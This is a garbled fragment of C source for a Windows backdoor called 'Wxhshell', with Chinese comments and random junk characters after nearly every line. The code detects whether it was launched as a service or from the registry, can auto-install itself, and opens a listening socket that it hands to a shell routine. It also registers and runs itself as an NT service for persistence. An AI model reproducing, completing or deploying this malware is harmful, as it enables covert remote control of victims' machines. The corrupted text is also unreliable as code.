DWORD BasePriority; &?^S`V8R*
ULONG UniqueProcessId; E
3b`GRay
ULONG InheritedFromUniqueProcessId; Y)Y`9u<?
} PROCESS_BASIC_INFORMATION; !oeu
g(t"+
P
PROCNTQSIP NtQueryInformationProcess; ZdHfZ3)dB
_[-+%RP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IM&2SSmYNH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3vPb}
bs!N~,6h
HANDLE hProcess; 5uMh#dm^
PROCESS_BASIC_INFORMATION pbi; v_f8zk
~lMw*Qw^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "bAkS}(hB(
if(NULL == hInst ) return 0; 43pQFDWa
mxtLcG4G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z%~j)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LRBcW;.Su
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7QP%Pny%
x[7jm"Pz
if (!NtQueryInformationProcess) return 0; 8DbXv~3@
edhNQWn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `e]L.P_e?
if(!hProcess) return 0; v4!zB9d
g\&[;v
i
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _ngyai1
?)x>GB(9ZN
CloseHandle(hProcess); !YL|R[nDH|
([zt}uf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DGr{x}Kq
if(hProcess==NULL) return 0; \B"5 Kp<
Z<ozANbk
HMODULE hMod; oK&LYlU
char procName[255]; j<>|Hi
#`
unsigned long cbNeeded; ^,')1r,
24"Trg\WK[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
O[f* !
Ed ,`1+
CloseHandle(hProcess); f7 V3 6Q8
ZzLmsTtzIu
if(strstr(procName,"services")) return 1; // 以服务启动 $8o(_8Q)
\|nF55W [
return 0; // 注册表启动 1"3|6&=
} ^RytBwzKM
Rk.YnA_J6
// 主模块 Rkm1fYf
int StartWxhshell(LPSTR lpCmdLine) 6H67$?jMyJ
{ <jF]SN
SOCKET wsl; cc7*O
BOOL val=TRUE; ^D\1F$AjC
int port=0; xc[@lr
struct sockaddr_in door; YLVV9(
9tsI1]1[m
if(wscfg.ws_autoins) Install(); fv_}7t7
{]<l|qK
port=atoi(lpCmdLine); zu'Uau
xy$73K6
if(port<=0) port=wscfg.ws_port; "P HkbU
,<F =\G_f
WSADATA data; m8eyAvi6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %"PG/avo
s42M[BW]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^pZ1uN!b
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D'Tb=
door.sin_family = AF_INET; $9<q'hf<w
door.sin_addr.s_addr = inet_addr("127.0.0.1");
@#K19\dQ
door.sin_port = htons(port); l CHaRR7
90> (`pI=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `rsPIOu
closesocket(wsl); Mg;%];2Nt
return 1; $Z6g/bD`E
} 8A}w}h
% eWzr
if(listen(wsl,2) == INVALID_SOCKET) { ia
1Sf3
closesocket(wsl); lY/{X]T.(
return 1; 0xrr9X<
} QQUeY2}
Wxhshell(wsl); \O5`R-
WSACleanup(); |m7U^
%0C<_drW
return 0; gRv5l3k
#j
-bT4!
} sS;6QkI"y
:+{G|goZ*
// 以NT服务方式启动 z+I'N4*^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G 'IqAKJ
{ 1ael{b!
DWORD status = 0; rF:C({y
DWORD specificError = 0xfffffff; z(2pl}
<+ UEM~)
serviceStatus.dwServiceType = SERVICE_WIN32; 4Gs#_|!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yQE|FbiA
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xF:
O6KL
serviceStatus.dwWin32ExitCode = 0; *,<A[XP
serviceStatus.dwServiceSpecificExitCode = 0; vdw5T&Q{{C
serviceStatus.dwCheckPoint = 0; z<aB GG
serviceStatus.dwWaitHint = 0; x8k7y:
's>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &5puGnTZ
if (hServiceStatusHandle==0) return; W_l/Jpv!W
wBZ=IMDu\
status = GetLastError(); Fb=(FQ2Y?
if (status!=NO_ERROR) k#Qav1_
{ *I6z;.#
serviceStatus.dwCurrentState = SERVICE_STOPPED; |57u ;
serviceStatus.dwCheckPoint = 0; 1Q\P]
-
serviceStatus.dwWaitHint = 0; }U3+xl6g
serviceStatus.dwWin32ExitCode = status; {T4F0fu[eR
serviceStatus.dwServiceSpecificExitCode = specificError; %@
UH,Ew
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ITJ{]7N
return; C'&)""3d
} !z">aIj\6
`i5U&K. 7
serviceStatus.dwCurrentState = SERVICE_RUNNING; .GcIwP'aU-
serviceStatus.dwCheckPoint = 0; ^hq+
L^$^
serviceStatus.dwWaitHint = 0; eKjmU | H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .j?`U[V%a
} Yt&Isi
+
hhd%j6
// 处理NT服务事件,比如:启动、停止 ' i5 VU4?K
VOID WINAPI NTServiceHandler(DWORD fdwControl) p=%Vo@*]
{ s}Phw2`1U
switch(fdwControl) !/]F.0
{ >qj.!npQD
case SERVICE_CONTROL_STOP: M)S(:Il6Xx
serviceStatus.dwWin32ExitCode = 0; z~&uLu
serviceStatus.dwCurrentState = SERVICE_STOPPED; G8=2=/ !
serviceStatus.dwCheckPoint = 0; e??tp]PLn
serviceStatus.dwWaitHint = 0; ~C[p}MED
{ S3#NGBZ/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B1<